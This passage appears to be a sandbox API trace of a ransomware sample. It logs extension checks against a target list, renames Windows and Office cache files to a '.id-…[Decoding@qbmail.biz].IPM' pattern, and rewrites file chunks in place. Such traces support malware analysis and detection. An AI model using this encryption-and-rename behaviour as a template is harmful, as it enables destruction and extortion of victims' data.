(lpString1=".doc", lpString2=".mui") returned -1 [0069.838] lstrlenW (lpString=".docx") returned 5 [0069.838] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.838] lstrlenW (lpString=".pdf") returned 4 [0069.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.838] lstrlenW (lpString=".xls") returned 4 [0069.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.838] lstrlenW (lpString=".xlsx") returned 5 [0069.838] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.838] lstrlenW (lpString=".ppt") returned 4 [0069.838] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString=".zip") returned 4 [0069.838] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.838] lstrlenW (lpString=".rar") returned 4 [0069.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.839] lstrlenW (lpString=".bz2") returned 4 [0069.839] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.839] lstrlenW (lpString=".7z") returned 3 [0069.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.839] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.839] lstrlenW (lpString=".dbf") returned 4 [0069.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.839] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.839] lstrlenW (lpString=".1cd") returned 4 [0069.839] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.839] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.839] lstrlenW (lpString=".jpg") returned 4 [0069.839] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.839] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.839] lstrlenW (lpString="memtest.exe.mui") returned 15 [0069.839] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.839] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=43600) returned 1 [0069.839] CloseHandle (hObject=0x18c) returned 1 [0069.840] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0069.840] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.840] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.840] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.840] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.840] lstrlenW (lpString=".doc") returned 4 [0069.840] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.840] lstrlenW (lpString=".docx") returned 5 [0069.840] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.840] lstrlenW (lpString=".pdf") returned 4 [0069.840] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.840] lstrlenW (lpString=".xls") returned 4 [0069.840] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.840] lstrlenW (lpString=".xlsx") returned 5 [0069.840] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.840] lstrlenW (lpString=".ppt") returned 4 [0069.840] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.840] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.840] lstrlenW (lpString=".zip") returned 4 [0069.840] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.841] lstrlenW (lpString=".rar") returned 4 [0069.841] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.841] lstrlenW (lpString=".bz2") returned 4 [0069.841] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.841] lstrlenW (lpString=".7z") returned 3 [0069.841] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.841] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.841] lstrlenW (lpString=".dbf") returned 4 [0069.841] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.841] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.841] lstrlenW (lpString=".1cd") returned 4 [0069.841] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.841] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.841] lstrlenW (lpString=".jpg") returned 4 [0069.841] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.841] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.841] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.841] lstrlenW (lpString=".doc") returned 4 [0069.841] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.841] lstrlenW (lpString=".docx") returned 5 [0069.842] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.842] lstrlenW (lpString=".pdf") returned 4 [0069.842] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.842] lstrlenW (lpString=".xls") returned 4 [0069.842] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.842] lstrlenW (lpString=".xlsx") returned 5 [0069.842] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.842] lstrlenW (lpString=".ppt") returned 4 [0069.842] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.842] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.842] lstrlenW (lpString=".zip") returned 4 [0069.842] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.842] lstrlenW (lpString=".rar") returned 4 [0069.842] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.842] lstrlenW (lpString=".bz2") returned 4 [0069.842] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.842] lstrlenW (lpString=".7z") returned 3 [0069.842] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.842] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.842] lstrlenW (lpString=".dbf") returned 4 [0069.842] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.842] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.842] lstrlenW (lpString=".1cd") returned 4 [0069.842] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.842] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0069.842] lstrlenW (lpString=".jpg") returned 4 [0069.842] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.843] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.843] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.843] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.843] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=90192) returned 1 [0069.843] CloseHandle (hObject=0x18c) returned 1 [0069.843] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0069.843] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.843] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.843] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0069.843] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0069.843] lstrlenW (lpString=".doc") returned 4 [0069.843] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.843] lstrlenW (lpString=".docx") returned 5 [0069.843] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.843] lstrlenW (lpString=".pdf") returned 4 [0069.843] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.843] lstrlenW (lpString=".xls") returned 4 [0069.844] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.844] lstrlenW (lpString=".xlsx") returned 5 [0069.844] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.844] lstrlenW (lpString=".ppt") returned 4 [0069.844] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.844] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0069.844] lstrlenW (lpString=".zip") returned 4 [0069.844] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.844] lstrlenW (lpString=".rar") returned 4 [0069.844] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.844] lstrlenW (lpString=".bz2") returned 4 [0069.844] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.844] lstrlenW (lpString=".7z") returned 3 [0069.844] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.845] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0069.868] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0070.152] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0070.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0070.153] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0x0) returned 1 [0070.153] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0070.153] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.343] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0070.343] ReadFile (in: hFile=0x1dc, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.475] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.475] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0070.475] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.912] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0070.912] WriteFile (in: hFile=0x1dc, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x33efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0070.945] SetEndOfFile (hFile=0x1dc) returned 1 [0070.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3ee3fd8 [0071.297] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0071.297] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ee3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee3fd8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.299] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0071.299] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ee3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee3fd8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.300] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0071.300] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ee3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee3fd8*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.304] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ee3fd8 | out: hHeap=0x5d0000) returned 1 [0071.633] CloseHandle (hObject=0x1dc) returned 1 [0079.613] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.614] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.614] lstrlenW (lpString=".doc") returned 4 [0079.614] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.614] lstrlenW (lpString=".docx") returned 5 [0079.614] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0079.614] lstrlenW (lpString=".pdf") returned 4 [0079.614] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".xls") returned 4 [0079.615] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".xlsx") returned 5 [0079.615] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0079.615] lstrlenW (lpString=".ppt") returned 4 [0079.615] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.615] lstrlenW (lpString=".zip") returned 4 [0079.615] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".rar") returned 4 [0079.615] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.615] lstrlenW (lpString=".bz2") returned 4 [0079.615] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.615] lstrlenW (lpString=".7z") returned 3 [0079.616] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.616] lstrlenW (lpString=".dbf") returned 4 [0079.616] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.616] lstrlenW (lpString=".1cd") returned 4 [0079.616] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.616] lstrlenW (lpString=".jpg") returned 4 [0079.616] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.617] lstrlenW (lpString=".doc") returned 4 [0079.617] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0079.617] lstrlenW (lpString=".docx") returned 5 [0079.617] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0079.617] lstrlenW (lpString=".pdf") returned 4 [0079.617] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0079.617] lstrlenW (lpString=".xls") returned 4 [0079.617] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0079.617] lstrlenW (lpString=".xlsx") returned 5 [0079.617] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0079.617] lstrlenW (lpString=".ppt") returned 4 [0079.617] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0079.617] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.617] lstrlenW (lpString=".zip") returned 4 [0079.617] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0079.618] lstrlenW (lpString=".rar") returned 4 [0079.618] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0079.618] lstrlenW (lpString=".bz2") returned 4 [0079.618] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0079.618] lstrlenW (lpString=".7z") returned 3 [0079.618] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0079.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.618] lstrlenW (lpString=".dbf") returned 4 [0079.618] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0079.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.618] lstrlenW (lpString=".1cd") returned 4 [0079.618] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0079.618] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0079.618] lstrlenW (lpString=".jpg") returned 4 [0079.618] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0079.619] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0079.619] lstrlenW (lpString="WordLR.cab") returned 10 [0079.619] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0079.620] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=43806141) returned 1 [0079.620] CloseHandle (hObject=0x1dc) returned 1 [0079.620] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0079.620] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.620] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0079.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0079.621] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0x0) returned 1 [0079.622] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0079.622] ReadFile (in: hFile=0x1dc, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.645] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0079.645] ReadFile (in: hFile=0x1dc, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.665] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33efc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.665] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x33efc2c | out: lpNewFilePointer=0x0) returned 1 [0079.665] ReadFile (in: hFile=0x1dc, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33efc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x33efc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.032] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0080.032] WriteFile (in: hFile=0x1dc, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x33efcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x33efcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0080.429] SetEndOfFile (hFile=0x1dc) returned 1 [0080.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f74008 [0080.481] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0080.481] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.596] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0080.596] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.601] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x33efc7c | out: lpNewFilePointer=0x0) returned 1 [0080.601] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33efc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x33efc88*=0x40000, lpOverlapped=0x0) returned 1 [0080.606] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f74008 | out: hHeap=0x5d0000) returned 1 [0080.606] CloseHandle (hObject=0x1dc) returned 1 [0086.984] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0086.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0086.986] lstrlenW (lpString=".doc") returned 4 [0086.986] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 